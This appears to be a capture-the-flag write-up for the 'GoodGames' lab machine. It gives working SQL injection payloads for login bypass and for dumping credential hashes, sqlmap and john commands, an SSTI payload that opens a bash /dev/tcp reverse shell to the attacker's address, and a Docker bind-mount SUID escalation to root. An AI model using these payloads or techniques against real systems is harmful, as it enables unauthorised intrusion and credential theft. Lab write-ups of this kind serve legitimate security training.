IP Address: 10.10.11.130
Key Exploitation Techniques:
- SQL Injection (time-based blind) for database enumeration and credential extraction
- Password reuse
- Server-Side Template Injection (SSTI) for RCE
- Docker container enumeration and bind-mount exploitation
- SUID binary creation for root access
Enumeration#
$ nmap -sC -sV 10.10.11.130
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Scan identified Apache HTTPD on port 80, indicating a Python Flask application.



dirb was used for directory enumeration.
$ dirb http://10.10.11.130 /usr/share/dirb/wordlists/common.txt
...
+ http://10.10.11.130/blog (CODE:200|SIZE:44212)
+ http://10.10.11.130/forgot-password (CODE:200|SIZE:32744)
+ http://10.10.11.130/login (CODE:200|SIZE:9294)
+ http://10.10.11.130/profile (CODE:200|SIZE:9267)
+ http://10.10.11.130/signup (CODE:200|SIZE:33387)
...
The login and signup pages were noted.

Registering a new account redirected to /profile.
GET /profile HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJw1yzEOgCAMBdC7_Jk4OHbyJoZIgSYFklYm493VwfEN78Kejb2CclTnAG5RFASvYmMrn5ZjNARIAq0BOkrhJB102nzDdLYeG_8H9wO9bRya.YvnU-g.1QzgQMNG2LPeUtsdc83Lp8_gKLQ
Upgrade-Insecure-Requests: 1

Attempts to edit profile details resulted in a 500 INTERNAL SERVER ERROR.

Exploitation#
SQL Injection & Credential Disclosure#
The login page was tested for SQL Injection. A time-based blind SQLi was identified using ' or 1=1-- -.
POST /login HTTP/1.1
Host: 10.10.11.130
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
email=%27+or+1%3D1--+-&password=

This successful bypass redirected to /profile, confirming the vulnerability.

Manual SQLi (UNION SELECT) was then used to enumerate database structure and extract credentials.
First, the number of columns was determined.
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2c4--+-&password=
# Response snippet
...
<h2 class="h4">Welcome 4</h2>
...
' union select 1,2,3,4-- -
The database had 4 columns. The database name was extracted.
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cdatabase%28%29--+-&password=
# Response snippet
...
<h2 class="h4">Welcome main</h2>
...
' union select 1,2,3,database()-- -
The database name was main. Tables in the main database were enumerated.
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28table_name%2c+%22%2f%22%29+from+information_schema.tables+where+table_schema+%3d+%27main%27--+-&password=
# Response snippet
...
<h2 class="h4">Welcome blog/blog_comments/user/</h2>
...
' union select 1,2,3,concat(table_name, "/") from information_schema.tables where table_schema = 'main'-- -
The user table was identified. Its columns were enumerated.
# Request
POST /login HTTP/11
...
email=%27+union+select+1%2c2%2c3%2cconcat%28column_name%2c+%22%2f%22%29+from+information_schema.columns+where+table_schema+%3d+%27main%27+and+table_name+%3d+%27user%27--+-&password=
# Response snippet
...
<h2 class="h4">Welcome email/id/name/password/</h2>
...
' union select 1,2,3,concat(column_name, "/") from information_schema.columns where table_schema = 'main' and table_name = 'user'-- -
Finally, data from the user table was extracted.
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28id%2c+%22%3a%22%2c+name%2c+%22%3a%22%2c+email%2c+%22%3a%22%2c+password%29+from+user--+-&password=
# Response snippet
...
1:admin:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec
2:shiro:shiro@gmail.com:5f4dcc3b5aa765d61d8327deb882cf99
...
' union select 1,2,3,concat(id, ":", name, ":", email, ":", password) from user-- -
Revealed admin:admin@goodgames.htb with hash 2b22337f218b2d82dfc3b6f77e7cb8ec and shiro:shiro@gmail.com with hash 5f4dcc3b5aa765d61d8327deb882cf99.
SQLMap Method (Alternative)
sqlmap could automate this process. A request file (login_request.txt) was created.
$ cat login_request.txt
POST /login HTTP/1.1
Host: 10.10.11.130
...
email=shiro&password=password
$ sqlmap -r login_request.txt --batch
...
[INFO] the back-end DBMS is MySQL
...
$ sqlmap -r login_request.txt --batch --dbs
...
available databases [2]:
[*] information_schema
[*] main
...
$ sqlmap -r login_request.txt --batch -D main --tables
...
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
...
$ sqlmap -r login_request.txt --batch -D main -T user --dump
...
[INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
Database: main
Table: user
[2 entries]
+----+-------+---------------------+---------------------------------------------+
| id | name | email | password |
+----+-------+---------------------+---------------------------------------------+
| 1 | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2 | shiro | shiro@gmail.com | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+----+-------+---------------------+---------------------------------------------+
The admin password hash 2b22337f218b2d82dfc3b6f77e7cb8ec was identified as MD5 by hash-identifier and cracked using john (format Raw-MD5) with rockyou.txt.
$ hash-identifier
...
HASH: 2b22337f218b2d82dfc3b6f77e7cb8ec
Possible Hashs:
[+] MD5
...
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt -format=Raw-MD5
...
superadministrator (?)
The password superadministrator was found.
Server-Side Template Injection (SSTI) for RCE (root in Docker)#
A hidden login page was discovered by clicking a gear icon on the admin’s profile page, leading to internal-administration.goodgames.htb. This subdomain was added to /etc/hosts.
$ cat /etc/hosts
...
10.10.11.130 goodgames.htb internal-administration.goodgames.htb
...

Take note that the web server might be using (Python) Flask!
Login to http://internal-administration.goodgames.htb with admin:superadministrator was successful.

The /settings page allowed changing general information. The Server header in the response confirmed Werkzeug/2.0.2 Python/3.6.7, indicating a Flask application.

# Response snippet from GET /settings
HTTP/1.1 200 OK
Server: Werkzeug/2.0.2 Python/3.6.7
Content-Type: text/html; charset=utf-8
...
Testing for SSTI by inputting {{0 + 1}} into the “Full Name” field and saving, the displayed name updated to 1, confirming SSTI.

A working SSTI payload from PayloadAllTheThings was used to gain RCE: {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1"').read() }}.

Set up a netcat listener on the attacking machine.
$ nc -nlvp 1234
listening on [any] 1234 ...
The SSTI payload was injected into the “Full Name” field and saved.
# Reverse shell received
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.130] 48710
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
root
Got a reverse shell as root inside a Docker container. The hostname 3a453ab39d3d confirmed the containerized environment.
Privilege Escalation#
Docker Host Privilege Escalation (augustus)#
Enumeration within the Docker container revealed a /home/augustus directory.
root@3a453ab39d3d:/backend# cd /home
root@3a453ab39d3d:/home# ls -la
total 12
drwxr-xr-x 1 root root 4096 Nov 5 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
drwxr-xr-x 2 1000 1000 4096 Dec 2 2021 augustus
Crucially, augustus was not present in the container’s /etc/passwd. The mount command confirmed /home/augustus was a bind mount from the host.
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep augustus # No output
root@3a453ab39d3d:/home/augustus# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
The Docker host’s IP was identified by inspecting the container’s network interface (eth0) and scanning the local subnet with a static nmap binary.
root@3a453ab39d3d:/home/augustus# ip addr
...
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
...
# On attacking machine, download static nmap
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
# On container, download nmap and scan subnet
root@3a453ab39d3d:/home/augustus# wget http://10.10.14.14/nmap
root@3a453ab39d3d:/home/augustus# chmod +x nmap
root@3a453ab39d3d:/home/augustus# ./nmap 172.19.0.2/24
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
...
The scan (and common Docker networking patterns) indicated 172.19.0.1 was the Docker host, with SSH (22/tcp) and HTTP (80/tcp) open.
An SSH connection was attempted to the host as augustus using the superadministrator password (password reuse from the web admin). A proper TTY was spawned first using python3 -c 'import pty;pty.spawn("/bin/bash")'.
root@3a453ab39d3d:/home/augustus# python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
...
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$
SSH access to the host as augustus was successful. sudo -l showed no privileges.
SUID Binary Creation (Root)#
The nmap binary previously downloaded into /home/augustus (which is bind-mounted) was owned by root on the host, suggesting a potential ownership issue. Allowed a SUID binary creation attack.
/bin/bash was copied to the current directory (/home/augustus).
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash nmap user.txt
From the root shell in the Docker container, the ownership of the copied bash binary in the bind-mounted /home/augustus was changed to root, and the SUID bit was set.
# Exit augustus SSH session
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.
# Back in Docker root shell
root@3a453ab39d3d:/home/augustus# ls
bash nmap user.txt
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod +s bash
Finally, a new SSH connection was made to the host as augustus. The SUID bash binary was then executed with the -p flag to preserve privileges, granting a root shell.
$ ssh augustus@172.19.0.1
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$ ls -la
...
-rwsr-sr-x 1 root root 1234376 Aug 15 15:01 bash
...
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cat /home/augustus/user.txt
e950d45708b4f0294a0facc97621ef35
bash-5.1# cat /root/root.txt
4c445d98ed713a143512122ca28a9d5f